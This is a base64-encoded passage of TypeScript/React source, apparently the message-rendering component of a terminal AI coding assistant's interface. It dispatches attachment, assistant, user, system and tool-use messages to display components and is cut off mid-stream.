CBOb3JtYWxpemVkVXNlck1lc3NhZ2UsXG4gIFByb2dyZXNzTWVzc2FnZSxcbiAgU3lzdGVtTWVzc2FnZSxcbn0gZnJvbSAnLi4vdHlwZXMvbWVzc2FnZS5qcydcbmltcG9ydCB7IHR5cGUgQWR2aXNvckJsb2NrLCBpc0Fkdmlzb3JCbG9jayB9IGZyb20gJy4uL3V0aWxzL2Fkdmlzb3IuanMnXG5pbXBvcnQgeyBpc0Z1bGxzY3JlZW5FbnZFbmFibGVkIH0gZnJvbSAnLi4vdXRpbHMvZnVsbHNjcmVlbi5qcydcbmltcG9ydCB7IGxvZ0Vycm9yIH0gZnJvbSAnLi4vdXRpbHMvbG9nLmpzJ1xuaW1wb3J0IHR5cGUgeyBidWlsZE1lc3NhZ2VMb29rdXBzIH0gZnJvbSAnLi4vdXRpbHMvbWVzc2FnZXMuanMnXG5pbXBvcnQgeyBDb21wYWN0U3VtbWFyeSB9IGZyb20gJy4vQ29tcGFjdFN1bW1hcnkuanMnXG5pbXBvcnQgeyBBZHZpc29yTWVzc2FnZSB9IGZyb20gJy4vbWVzc2FnZXMvQWR2aXNvck1lc3NhZ2UuanMnXG5pbXBvcnQgeyBBc3Npc3RhbnRSZWRhY3RlZFRoaW5raW5nTWVzc2FnZSB9IGZyb20gJy4vbWVzc2FnZXMvQXNzaXN0YW50UmVkYWN0ZWRUaGlua2luZ01lc3NhZ2UuanMnXG5pbXBvcnQgeyBBc3Npc3RhbnRUZXh0TWVzc2FnZSB9IGZyb20gJy4vbWVzc2FnZXMvQXNzaXN0YW50VGV4dE1lc3NhZ2UuanMnXG5pbXBvcnQgeyBBc3Npc3RhbnRUaGlua2luZ01lc3NhZ2UgfSBmcm9tICcuL21lc3NhZ2VzL0Fzc2lzdGFudFRoaW5raW5nTWVzc2FnZS5qcydcbmltcG9ydCB7IEFzc2lzdGFudFRvb2xVc2VNZXNzYWdlIH0gZnJvbSAnLi9tZXNzYWdlcy9Bc3Npc3RhbnRUb29sVXNlTWVzc2FnZS5qcydcbmltcG9ydCB7IEF0dGFjaG1lbnRNZXNzYWdlIH0gZnJvbSAnLi9tZXNzYWdlcy9BdHRhY2htZW50TWVzc2FnZS5qcydcbmltcG9ydCB7IENvbGxhcHNlZFJlYWRTZWFyY2hDb250ZW50IH0gZnJvbSAnLi9tZXNzYWdlcy9Db2xsYXBzZWRSZWFkU2VhcmNoQ29udGVudC5qcydcbmltcG9ydCB7IENvbXBhY3RCb3VuZGFyeU1lc3NhZ2UgfSBmcm9tICcuL21lc3NhZ2VzL0NvbXBhY3RCb3VuZGFyeU1lc3NhZ2UuanMnXG5pbXBvcnQgeyBHcm91cGVkVG9vbFVzZUNvbnRlbnQgfSBmcm9tICcuL21lc3NhZ2VzL0dyb3VwZWRUb29sVXNlQ29udGVudC5qcydcbmltcG9ydCB7IFN5c3RlbVRleHRNZXNzYWdlIH0gZnJvbSAnLi9tZXNzYWdlcy9TeXN0ZW1UZXh0TWVzc2FnZS5qcydcbmltcG9ydCB7IFVzZXJJbWFnZU1lc3NhZ2UgfSBmcm9tICcuL21lc3NhZ2VzL1VzZXJJbWFnZU1lc3NhZ2UuanMnXG5pbXBvcnQgeyBVc2VyVGV4dE1lc3NhZ2UgfSBmcm9tICcuL21lc3NhZ2VzL1VzZXJUZXh0TWVzc2FnZS5qcydcbmltcG9ydCB7IFVzZXJUb29sUmVzdWx0TWVzc2FnZSB9IGZyb20gJy4vbWVzc2FnZXMvVXNlclRvb2xSZXN1bHRNZXNzYWdlL1VzZXJUb29sUmVzdWx0TWVzc2FnZS5qcydcbmltcG9ydCB7IE9mZnNjcmVlbkZyZWV6ZSB9IGZyb20gJy4vT2Zmc2NyZWVuRnJlZXplLmpzJ1xuaW1wb3J0IHsgRXhwYW5kU2hlbGxPdXRwdXRQcm92aWRlciB9IGZyb20gJy4vc2hlbGwvRXhwYW5kU2hlbGxPdXRwdXRDb250ZXh0LmpzJ1xuXG5leHBvcnQgdHlwZSBQcm9wcyA9IHtcbiAgbWVzc2FnZTpcbiAgICB8IE5vcm1hbGl6ZWRVc2VyTWVzc2FnZVxuICAgIHwgQXNzaXN0YW50TWVzc2FnZVxuICAgIHwgQXR0YWNobWVudE1lc3NhZ2VUeXBlXG4gICAgfCBTeXN0ZW1NZXNzYWdlXG4gICAgfCBHcm91cGVkVG9vbFVzZU1lc3NhZ2VUeXBlXG4gICAgfCBDb2xsYXBzZWRSZWFkU2VhcmNoR3JvdXBUeXBlXG4gIGxvb2t1cHM6IFJldHVyblR5cGU8dHlwZW9mIGJ1aWxkTWVzc2FnZUxvb2t1cHM+XG4gIC8vIFRPRE86IEZpbmQgYSB3YXkgdG8gcmVtb3ZlIHRoaXMsIGFuZCBsZWF2ZSBzcGFjaW5nIHRvIHRoZSBjb25zdW1lclxuICAvKiogQWJzb2x1dGUgd2lkdGggZm9yIHRoZSBjb250YWluZXIgQm94LiBXaGVuIHByb3ZpZGVkLCBlbGltaW5hdGVzIGEgd3JhcHBlciBCb3ggaW4gdGhlIGNhbGxlci4gKi9cbiAgY29udGFpbmVyV2lkdGg/OiBudW1iZXJcbiAgYWRkTWFyZ2luOiBib29sZWFuXG4gIHRvb2xzOiBUb29sc1xuICBjb21tYW5kczogQ29tbWFuZFtdXG4gIHZlcmJvc2U6IGJvb2xlYW5cbiAgaW5Qcm9ncmVzc1Rvb2xVc2VJRHM6IFNldDxzdHJpbmc+XG4gIHByb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlOiBQcm9ncmVzc01lc3NhZ2VbXVxuICBzaG91bGRBbmltYXRlOiBib29sZWFuXG4gIHNob3VsZFNob3dEb3Q6IGJvb2xlYW5cbiAgc3R5bGU/OiAnY29uZGVuc2VkJ1xuICB3aWR0aD86IG51bWJlciB8IHN0cmluZ1xuICBpc1RyYW5zY3JpcHRNb2RlOiBib29sZWFuXG4gIGlzU3RhdGljOiBib29sZWFuXG4gIG9uT3BlblJhdGVMaW1pdE9wdGlvbnM/OiAoKSA9PiB2b2lkXG4gIGlzQWN0aXZlQ29sbGFwc2VkR3JvdXA/OiBib29sZWFuXG4gIGlzVXNlckNvbnRpbnVhdGlvbj86IGJvb2xlYW5cbiAgLyoqIElEIG9mIHRoZSBsYXN0IHRoaW5raW5nIGJsb2NrICh1dWlkOmluZGV4KSB0byBzaG93LCB1c2VkIGZvciBoaWRpbmcgcGFzdCB0aGlua2luZyBpbiB0cmFuc2NyaXB0IG1vZGUgKi9cbiAgbGFzdFRoaW5raW5nQmxvY2tJZD86IHN0cmluZyB8IG51bGxcbiAgLyoqIFVVSUQgb2YgdGhlIGxhdGVzdCB1c2VyIGJhc2ggb3V0cHV0IG1lc3NhZ2UgKGZvciBhdXRvLWV4cGFuZGluZykgKi9cbiAgbGF0ZXN0QmFzaE91dHB1dFVVSUQ/OiBzdHJpbmcgfCBudWxsXG59XG5cbmZ1bmN0aW9uIE1lc3NhZ2VJbXBsKHtcbiAgbWVzc2FnZSxcbiAgbG9va3VwcyxcbiAgY29udGFpbmVyV2lkdGgsXG4gIGFkZE1hcmdpbixcbiAgdG9vbHMsXG4gIGNvbW1hbmRzLFxuICB2ZXJib3NlLFxuICBpblByb2dyZXNzVG9vbFVzZUlEcyxcbiAgcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UsXG4gIHNob3VsZEFuaW1hdGUsXG4gIHNob3VsZFNob3dEb3QsXG4gIHN0eWxlLFxuICB3aWR0aCxcbiAgaXNUcmFuc2NyaXB0TW9kZSxcbiAgb25PcGVuUmF0ZUxpbWl0T3B0aW9ucyxcbiAgaXNBY3RpdmVDb2xsYXBzZWRHcm91cCxcbiAgaXNVc2VyQ29udGludWF0aW9uID0gZmFsc2UsXG4gIGxhc3RUaGlua2luZ0Jsb2NrSWQsXG4gIGxhdGVzdEJhc2hPdXRwdXRVVUlELFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBzd2l0Y2ggKG1lc3NhZ2UudHlwZSkge1xuICAgIGNhc2UgJ2F0dGFjaG1lbnQnOlxuICAgICAgcmV0dXJuIChcbiAgICAgICAgPEF0dGFjaG1lbnRNZXNzYWdlXG4gICAgICAgICAgYWRkTWFyZ2luPXthZGRNYXJnaW59XG4gICAgICAgICAgYXR0YWNobWVudD17bWVzc2FnZS5hdHRhY2htZW50fVxuICAgICAgICAgIHZlcmJvc2U9e3ZlcmJvc2V9XG4gICAgICAgICAgaXNUcmFuc2NyaXB0TW9kZT17aXNUcmFuc2NyaXB0TW9kZX1cbiAgICAgICAgLz5cbiAgICAgIClcbiAgICBjYXNlICdhc3Npc3RhbnQnOlxuICAgICAgcmV0dXJuIChcbiAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgd2lkdGg9e2NvbnRhaW5lcldpZHRoID8/ICcxMDAlJ30+XG4gICAgICAgICAge21lc3NhZ2UubWVzc2FnZS5jb250ZW50Lm1hcCgoXywgaW5kZXgpID0+IChcbiAgICAgICAgICAgIDxBc3Npc3RhbnRNZXNzYWdlQmxvY2tcbiAgICAgICAgICAgICAga2V5PXtpbmRleH1cbiAgICAgICAgICAgICAgcGFyYW09e199XG4gICAgICAgICAgICAgIGFkZE1hcmdpbj17YWRkTWFyZ2lufVxuICAgICAgICAgICAgICB0b29scz17dG9vbHN9XG4gICAgICAgICAgICAgIGNvbW1hbmRzPXtjb21tYW5kc31cbiAgICAgICAgICAgICAgdmVyYm9zZT17dmVyYm9zZX1cbiAgICAgICAgICAgICAgaW5Qcm9ncmVzc1Rvb2xVc2VJRHM9e2luUHJvZ3Jlc3NUb29sVXNlSURzfVxuICAgICAgICAgICAgICBwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZT17cHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2V9XG4gICAgICAgICAgICAgIHNob3VsZEFuaW1hdGU9e3Nob3VsZEFuaW1hdGV9XG4gICAgICAgICAgICAgIHNob3VsZFNob3dEb3Q9e3Nob3VsZFNob3dEb3R9XG4gICAgICAgICAgICAgIHdpZHRoPXt3aWR0aH1cbiAgICAgICAgICAgICAgaW5Qcm9ncmVzc1Rvb2xDYWxsQ291bnQ9e2luUHJvZ3Jlc3NUb29sVXNlSURzLnNpemV9XG4gICAgICAgICAgICAgIGlzVHJhbnNjcmlwdE1vZGU9e2lzVHJhbnNjcmlwdE1vZGV9XG4gICAgICAgICAgICAgIGxvb2t1cHM9e2xvb2t1cHN9XG4gICAgICAgICAgICAgIG9uT3BlblJhdGVMaW1pdE9wdGlvbnM9e29uT3BlblJhdGVMaW1pdE9wdGlvbnN9XG4gICAgICAgICAgICAgIHRoaW5raW5nQmxvY2tJZD17YCR7bWVzc2FnZS51dWlkfToke2luZGV4fWB9XG4gICAgICAgICAgICAgIGxhc3RUaGlua2luZ0Jsb2NrSWQ9e2xhc3RUaGlua2luZ0Jsb2NrSWR9XG4gICAgICAgICAgICAgIGFkdmlzb3JNb2RlbD17bWVzc2FnZS5hZHZpc29yTW9kZWx9XG4gICAgICAgICAgICAvPlxuICAgICAgICAgICkpfVxuICAgICAgICA8L0JveD5cbiAgICAgIClcbiAgICBjYXNlICd1c2VyJzoge1xuICAgICAgaWYgKG1lc3NhZ2UuaXNDb21wYWN0U3VtbWFyeSkge1xuICAgICAgICByZXR1cm4gKFxuICAgICAgICAgIDxDb21wYWN0U3VtbWFyeVxuICAgICAgICAgICAgbWVzc2FnZT17bWVzc2FnZX1cbiAgICAgICAgICAgIHNjcmVlbj17aXNUcmFuc2NyaXB0TW9kZSA/ICd0cmFuc2NyaXB0JyA6ICdwcm9tcHQnfVxuICAgICAgICAgIC8+XG4gICAgICAgIClcbiAgICAgIH1cbiAgICAgIC8vIFByZWNvbXB1dGUgdGhlIGltYWdlSW5kZXggcHJvcCBmb3IgZWFjaCBjb250ZW50IGJsb2NrLiBUaGUgcHJldmlvdXNcbiAgICAgIC8vIHZlcnNpb24gaW5jcmVtZW50ZWQgYSBjb3VudGVyIGluc2lkZSB0aGUgLm1hcCgpIGNhbGxiYWNrLCB3aGljaFxuICAgICAgLy8gUmVhY3QgQ29tcGlsZXIgYmFpbHMgb24gKFwiVXBkYXRlRXhwcmVzc2lvbiB0byB2YXJpYWJsZXMgY2FwdHVyZWRcbiAgICAgIC8vIHdpdGhpbiBsYW1iZGFzXCIpLiBBIHBsYWluIGZvciBsb29wIGtlZXBzIHRoZSBtdXRhdGlvbiBvdXQgb2YgYVxuICAgICAgLy8gY2xvc3VyZSBzbyB0aGUgY29tcGlsZXIgY2FuIG1lbW9pemUgTWVzc2FnZUltcGwuXG4gICAgICBjb25zdCBpbWFnZUluZGljZXM6IG51bWJlcltdID0gW11cbiAgICAgIGxldCBpbWFnZVBvc2l0aW9uID0gMFxuICAgICAgZm9yIChjb25zdCBwYXJhbSBvZiBtZXNzYWdlLm1lc3NhZ2UuY29udGVudCkge1xuICAgICAgICBpZiAocGFyYW0udHlwZSA9PT0gJ2ltYWdlJykge1xuICAgICAgICAgIGNvbnN0IGlkID0gbWVzc2FnZS5pbWFnZVBhc3RlSWRzPy5baW1hZ2VQb3NpdGlvbl1cbiAgICAgICAgICBpbWFnZVBvc2l0aW9uKytcbiAgICAgICAgICBpbWFnZUluZGljZXMucHVzaChpZCA/PyBpbWFnZVBvc2l0aW9uKVxuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIGltYWdlSW5kaWNlcy5wdXNoKGltYWdlUG9zaXRpb24pXG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIC8vIENoZWNrIGlmIHRoaXMgbWVzc2FnZSBpcyB0aGUgbGF0ZXN0IGJhc2ggb3V0cHV0IC0gaWYgc28sIHdyYXAgY29udGVudFxuICAgICAgLy8gd2l0aCBwcm92aWRlciBzbyBPdXRwdXRMaW5lIGNhbiBzaG93IGZ1bGwgb3V0cHV0IHZpYSBjb250ZXh0XG4gICAgICBjb25zdCBpc0xhdGVzdEJhc2hPdXRwdXQgPSBsYXRlc3RCYXNoT3V0cHV0VVVJRCA9PT0gbWVzc2FnZS51dWlkXG4gICAgICBjb25zdCBjb250ZW50ID0gKFxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiB3aWR0aD17Y29udGFpbmVyV2lkdGggPz8gJzEwMCUnfT5cbiAgICAgICAgICB7bWVzc2FnZS5tZXNzYWdlLmNvbnRlbnQubWFwKChwYXJhbSwgaW5kZXgpID0+IChcbiAgICAgICAgICAgIDxVc2VyTWVzc2FnZVxuICAgICAgICAgICAgICBrZXk9e2luZGV4fVxuICAgICAgICAgICAgICBtZXNzYWdlPXttZXNzYWdlfVxuICAgICAgICAgICAgICBhZGRNYXJnaW49e2FkZE1hcmdpbn1cbiAgICAgICAgICAgICAgdG9vbHM9e3Rvb2xzfVxuICAgICAgICAgICAgICBwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZT17cHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2V9XG4gICAgICAgICAgICAgIHBhcmFtPXtwYXJhbX1cbiAgICAgICAgICAgICAgc3R5bGU9e3N0eWxlfVxuICAgICAgICAgICAgICB2ZXJib3NlPXt2ZXJib3NlfVxuICAgICAgICAgICAgICBpbWFnZUluZGV4PXtpbWFnZUluZGljZXNbaW5kZXhdIX1cbiAgICAgICAgICAgICAgaXNVc2VyQ29udGludWF0aW9uPXtpc1VzZXJDb250aW51YXRpb259XG4gICAgICAgICAgICAgIGxvb2t1cHM9e2xvb2t1cHN9XG4gICAgICAgICAgICAgIGlzVHJhbnNjcmlwdE1vZGU9e2lzVHJhbnNjcmlwdE1vZGV9XG4gICAgICAgICAgICAvPlxuICAgICAgICAgICkpfVxuICAgICAgICA8L0JveD5cbiAgICAgIClcbiAgICAgIHJldHVybiBpc0xhdGVzdEJhc2hPdXRwdXQgPyAoXG4gICAgICAgIDxFeHBhbmRTaGVsbE91dHB1dFByb3ZpZGVyPntjb250ZW50fTwvRXhwYW5kU2hlbGxPdXRwdXRQcm92aWRlcj5cbiAgICAgICkgOiAoXG4gICAgICAgIGNvbnRlbnRcbiAgICAgIClcbiAgICB9XG4gICAgY2FzZSAnc3lzdGVtJzpcbiAgICAgIGlmIChtZXNzYWdlLnN1YnR5cGUgPT09ICdjb21wYWN0X2JvdW5kYXJ5Jykge1xuICAgICAgICAvLyBGdWxsc2NyZWVuIGtlZXBzIHByZS1jb21wYWN0IG1lc3NhZ2VzIGluIHRoZSBTY3JvbGxCb3ggKFJFUEwudHN4XG4gICAgICAgIC8vIGFwcGVuZHMgaW5zdGVhZCBvZiByZXNldHRpbmcsIE1lc3NhZ2VzLnRzeCBza2lwcyB0aGUgYm91bmRhcnlcbiAgICAgICAgLy8gZmlsdGVyKSDigJQgc2Nyb2xsIHVwIGZvciBoaXN0b3J5LCBubyBuZWVkIGZvciB0aGUgY3RybCtvIGhpbnQuXG4gICAgICAgIGlmIChpc0Z1bGxzY3JlZW5FbnZFbmFibGVkKCkpIHtcbiAgICAgICAgICByZXR1cm4gbnVsbFxuICAgICAgICB9XG4gICAgICAgIHJldHVybiA8Q29tcGFjdEJvdW5kYXJ5TWVzc2FnZSAvPlxuICAgICAgfVxuICAgICAgaWYgKG1lc3NhZ2Uuc3VidHlwZSA9PT0gJ21pY3JvY29tcGFjdF9ib3VuZGFyeScpIHtcbiAgICAgICAgLy8gTG9nZ2VkIGF0IGNyZWF0aW9uIHRpbWUgaW4gY3JlYXRlTWljcm9jb21wYWN0Qm91bmRhcnlNZXNzYWdlXG4gICAgICAgIHJldHVybiBudWxsXG4gICAgICB9XG4gICAgICBpZiAoZmVhdHVyZSgnSElTVE9SWV9TTklQJykpIHtcbiAgICAgICAgLyogZXNsaW50LWRpc2FibGUgQHR5cGVzY3JpcHQtZXNsaW50L25vLXJlcXVpcmUtaW1wb3J0cyAqL1xuICAgICAgICBjb25zdCB7IGlzU25pcEJvdW5kYXJ5TWVzc2FnZSB9ID1cbiAgICAgICAgICByZXF1aXJlKCcuLi9zZXJ2aWNlcy9jb21wYWN0L3NuaXBQcm9qZWN0aW9uLmpzJykgYXMgdHlwZW9mIGltcG9ydCgnLi4vc2VydmljZXMvY29tcGFjdC9zbmlwUHJvamVjdGlvbi5qcycpXG4gICAgICAgIGNvbnN0IHsgaXNTbmlwTWFya2VyTWVzc2FnZSB9ID1cbiAgICAgICAgICByZXF1aXJlKCcuLi9zZXJ2aWNlcy9jb21wYWN0L3NuaXBDb21wYWN0LmpzJykgYXMgdHlwZW9mIGltcG9ydCgnLi4vc2VydmljZXMvY29tcGFjdC9zbmlwQ29tcGFjdC5qcycpXG4gICAgICAgIC8qIGVzbGludC1lbmFibGUgQHR5cGVzY3JpcHQtZXNsaW50L25vLXJlcXVpcmUtaW1wb3J0cyAqL1xuICAgICAgICBpZiAoaXNTbmlwQm91bmRhcnlNZXNzYWdlKG1lc3NhZ2UpKSB7XG4gICAgICAgICAgLyogZXNsaW50LWRpc2FibGUgQHR5cGVzY3JpcHQtZXNsaW50L25vLXJlcXVpcmUtaW1wb3J0cyAqL1xuICAgICAgICAgIGNvbnN0IHsgU25pcEJvdW5kYXJ5TWVzc2FnZSB9ID1cbiAgICAgICAgICAgIHJlcXVpcmUoJy4vbWVzc2FnZXMvU25pcEJvdW5kYXJ5TWVzc2FnZS5qcycpIGFzIHR5cGVvZiBpbXBvcnQoJy4vbWVzc2FnZXMvU25pcEJvdW5kYXJ5TWVzc2FnZS5qcycpXG4gICAgICAgICAgLyogZXNsaW50LWVuYWJsZSBAdHlwZXNjcmlwdC1lc2xpbnQvbm8tcmVxdWlyZS1pbXBvcnRzICovXG4gICAgICAgICAgcmV0dXJuIDxTbmlwQm91bmRhcnlNZXNzYWdlIG1lc3NhZ2U9e21lc3NhZ2V9IC8+XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzU25pcE1hcmtlck1lc3NhZ2UobWVzc2FnZSkpIHtcbiAgICAgICAgICAvLyBJbnRlcm5hbCByZWdpc3RyYXRpb24gbWFya2VyIOKAlCBub3QgdXNlci1mYWNpbmcuIFRoZSBib3VuZGFyeVxuICAgICAgICAgIC8vIG1lc3NhZ2UgKGFib3ZlKSBpcyB3aGF0IHNob3dzIHdoZW4gc25pcHMgYWN0dWFsbHkgZXhlY3V0ZS5cbiAgICAgICAgICByZXR1cm4gbnVsbFxuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpZiAobWVzc2FnZS5zdWJ0eXBlID09PSAnbG9jYWxfY29tbWFuZCcpIHtcbiAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICA8VXNlclRleHRNZXNzYWdlXG4gICAgICAgICAgICBhZGRNYXJnaW49e2FkZE1hcmdpbn1cbiAgICAgICAgICAgIHBhcmFtPXt7IHR5cGU6ICd0ZXh0JywgdGV4dDogbWVzc2FnZS5jb250ZW50IH19XG4gICAgICAgICAgICB2ZXJib3NlPXt2ZXJib3NlfVxuICAgICAgICAgICAgaXNUcmFuc2NyaXB0TW9kZT17aXNUcmFuc2NyaXB0TW9kZX1cbiAgICAgICAgICAvPlxuICAgICAgICApXG4gICAgICB9XG4gICAgICByZXR1cm4gKFxuICAgICAgICA8U3lzdGVtVGV4dE1lc3NhZ2VcbiAgICAgICAgICBtZXNzYWdlPXttZXNzYWdlfVxuICAgICAgICAgIGFkZE1hcmdpbj17YWRkTWFyZ2lufVxuICAgICAgICAgIHZlcmJvc2U9e3ZlcmJvc2V9XG4gICAgICAgICAgaXNUcmFuc2NyaXB0TW9kZT17aXNUcmFuc2NyaXB0TW9kZX1cbiAgICAgICAgLz5cbiAgICAgIClcbiAgICBjYXNlICdncm91cGVkX3Rvb2xfdXNlJzpcbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxHcm91cGVkVG9vbFVzZUNvbnRlbnRcbiAgICAgICAgICBtZXNzYWdlPXttZXNzYWdlfVxuICAgICAgICAgIHRvb2xzPXt0b29sc31cbiAgICAgICAgICBsb29rdXBzPXtsb29rdXBzfVxuICAgICAgICAgIGluUHJvZ3Jlc3NUb29sVXNlSURzPXtpblByb2dyZXNzVG9vbFVzZUlEc31cbiAgICAgICAgICBzaG91bGRBbmltYXRlPXtzaG91bGRBbmltYXRlfVxuICAgICAgICAvPlxuICAgICAgKVxuICAgIGNhc2UgJ2NvbGxhcHNlZF9yZWFkX3NlYXJjaCc6XG4gICAgICAvLyBPZmZzY3JlZW5GcmVlemU6IHRoZSB2ZXJiIGZsaXBzIFwiUmVhZGluZ+KAplwi4oaSXCJSZWFkXCIgd2hlbiB0b29scyBjb21wbGV0ZS5cbiAgICAgIC8vIElmIHRoZSBncm91cCBoYXMgc2Nyb2xsZWQgaW50byBzY3JvbGxiYWNrIGJ5IHRoZW4sIHRoZSB1cGRhdGUgdHJpZ2dlcnNcbiAgICAgIC8vIGEgZnVsbCB0ZXJtaW5hbCByZXNldCAoQ0MtMTE1NSkuIFRoaXMgY29tcG9uZW50IGlzIG5ldmVyIG1hcmtlZCBzdGF0aWNcbiAgICAgIC8vIGluIHByb21wdCBtb2RlIChzaG91bGRSZW5kZXJTdGF0aWNhbGx5IHJldHVybnMgZmFsc2UgdG8gYWxsb3cgbGl2ZVxuICAgICAgLy8gdXBkYXRlcyBiZXR3ZWVuIEFQSSB0dXJucyksIHNvIHRoZSBtZW1vIGNhbid0IGhlbHAuIEZyZWV6ZSB3aGVuXG4gICAgICAvLyBvZmZzY3JlZW4g4oCUIHNjcm9sbGJhY2sgc2hvd3Mgd2hhdGV2ZXIgc3RhdGUgd2FzIHZpc2libGUgd2hlbiBpdCBsZWZ0LlxuICAgICAgcmV0dXJuIChcbiAgICAgICAgPE9mZnNjcmVlbkZyZWV6ZT5cbiAgICAgICAgICA8Q29sbGFwc2VkUmVhZFNlYXJjaENvbnRlbnRcbiAgICAgICAgICAgIG1lc3NhZ2U9e21lc3NhZ2V9XG4gICAgICAgICAgICBpblByb2dyZXNzVG9vbFVzZUlEcz17aW5Qcm9ncmVzc1Rvb2xVc2VJRHN9XG4gICAgICAgICAgICBzaG91bGRBbmltYXRlPXtzaG91bGRBbmltYXRlfVxuICAgICAgICAgICAgLy8gY3RybCtvIHRyYW5zY3JpcHQgbW9kZSBzaG91bGQgZXhwYW5kIHRoZSBncm91cCB0aGUgc2FtZSB3YXlcbiAgICAgICAgICAgIC8vIC0tdmVyYm9zZSBkb2VzLCBzbyByZWNhbGxlZCBtZW1vcmllcyArIHRvb2wgZGV0YWlscyBhcmUgdmlzaWJsZS5cbiAgICAgICAgICAgIC8vIEF0dGFjaG1lbnRNZXNzYWdlLnRzeCdzIHN0YW5kYWxvbmUgcmVsZXZhbnRfbWVtb3JpZXMgYnJhbmNoXG4gICAgICAgICAgICAvLyBhbHJlYWR5IGNoZWNrcyAodmVyYm9zZSB8fCBpc1RyYW5zY3JpcHRNb2RlKTsgdGhpcyBhbGlnbnMgdGhlXG4gICAgICAgICAgICAvLyBjb2xsYXBzZWQtZ3JvdXAgcGF0aCB0byBtYXRjaC5cbiAgICAgICAgICAgIHZlcmJvc2U9e3ZlcmJvc2UgfHwgaXNUcmFuc2NyaXB0TW9kZX1cbiAgICAgICAgICAgIHRvb2xzPXt0b29sc31cbiAgICAgICAgICAgIGxvb2t1cHM9e2xvb2t1cHN9XG4gICAgICAgICAgICBpc0FjdGl2ZUdyb3VwPXtpc0FjdGl2ZUNvbGxhcHNlZEdyb3VwfVxuICAgICAgICAgIC8+XG4gICAgICAgIDwvT2Zmc2NyZWVuRnJlZXplPlxuICAgICAgKVxuICB9XG59XG5cbmZ1bmN0aW9uIFVzZXJNZXNzYWdlKHtcbiAgbWVzc2FnZSxcbiAgYWRkTWFyZ2luLFxuICB0b29scyxcbiAgcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UsXG4gIHBhcmFtLFxuICBzdHlsZSxcbiAgdmVyYm9zZSxcbiAgaW1hZ2VJbmRleCxcbiAgaXNVc2VyQ29udGludWF0aW9uLFxuICBsb29rdXBzLFxuICBpc1RyYW5zY3JpcHRNb2RlLFxufToge1xuICBtZXNzYWdlOiBOb3JtYWxpemVkVXNlck1lc3NhZ2VcbiAgYWRkTWFyZ2luOiBib29sZWFuXG4gIHRvb2xzOiBUb29sc1xuICBwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZTogUHJvZ3Jlc3NNZXNzYWdlW11cbiAgcGFyYW06XG4gICAgfCBUZXh0QmxvY2tQYXJhbVxuICAgIHwgSW1hZ2VCbG9ja1BhcmFtXG4gICAgfCBUb29sVXNlQmxvY2tQYXJhbVxuICAgIHwgVG9vbFJlc3VsdEJsb2NrUGFyYW1cbiAgc3R5bGU/OiAnY29uZGVuc2VkJ1xuICB2ZXJib3NlOiBib29sZWFuXG4gIGltYWdlSW5kZXg/OiBudW1iZXJcbiAgaXNVc2VyQ29udGludWF0aW9uOiBib29sZWFuXG4gIGxvb2t1cHM6IFJldHVyblR5cGU8dHlwZW9mIGJ1aWxkTWVzc2FnZUxvb2t1cHM+XG4gIGlzVHJhbnNjcmlwdE1vZGU6IGJvb2xlYW5cbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCB7IGNvbHVtbnMgfSA9IHVzZVRlcm1pbmFsU2l6ZSgpXG4gIHN3aXRjaCAocGFyYW0udHlwZSkge1xuICAgIGNhc2UgJ3RleHQnOlxuICAgICAgcmV0dXJuIChcbiAgICAgICAgPFVzZXJUZXh0TWVzc2FnZVxuICAgICAgICAgIGFkZE1hcmdpbj17YWRkTWFyZ2lufVxuICAgICAgICAgIHBhcmFtPXtwYXJhbX1cbiAgICAgICAgICB2ZXJib3NlPXt2ZXJib3NlfVxuICAgICAgICAgIHBsYW5Db250ZW50PXttZXNzYWdlLnBsYW5Db250ZW50fVxuICAgICAgICAgIGlzVHJhbnNjcmlwdE1vZGU9e2lzVHJhbnNjcmlwdE1vZGV9XG4gICAgICAgICAgdGltZXN0YW1wPXttZXNzYWdlLnRpbWVzdGFtcH1cbiAgICAgICAgLz5cbiAgICAgIClcbiAgICBjYXNlICdpbWFnZSc6XG4gICAgICAvLyBJZiBwcmV2aW91cyBtZXNzYWdlIGlzIHVzZXIgKHRleHQgb3IgaW1hZ2UpLCB0aGlzIGlzIGEgY29udGludWF0aW9uIC0gdXNlIGNvbm5lY3RvclxuICAgICAgLy8gT3RoZXJ3aXNlIHRoaXMgaW1hZ2Ugc3RhcnRzIGEgbmV3IHVzZXIgdHVybiAtIHVzZSBtYXJnaW5cbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxVc2VySW1hZ2VNZXNzYWdlXG4gICAgICAgICAgaW1hZ2VJZD17aW1hZ2VJbmRleH1cbiAgICAgICAgICBhZGRNYXJnaW49e2FkZE1hcmdpbiAmJiAhaXNVc2VyQ29udGludWF0aW9ufVxuICAgICAgICAvPlxuICAgICAgKVxuICAgIGNhc2UgJ3Rvb2xfcmVzdWx0JzpcbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxVc2VyVG9vbFJlc3VsdE1lc3NhZ2VcbiAgICAgICAgICBwYXJhbT17cGFyYW19XG4gICAgICAgICAgbWVzc2FnZT17bWVzc2FnZX1cbiAgICAgICAgICBsb29rdXBzPXtsb29rdXBzfVxuICAgICAgICAgIHByb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlPXtwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZX1cbiAgICAgICAgICBzdHlsZT17c3R5bGV9XG4gICAgICAgICAgdG9vbHM9e3Rvb2xzfVxuICAgICAgICAgIHZlcmJvc2U9e3ZlcmJvc2V9XG4gICAgICAgICAgd2lkdGg9e2NvbHVtbnMgLSA1fVxuICAgI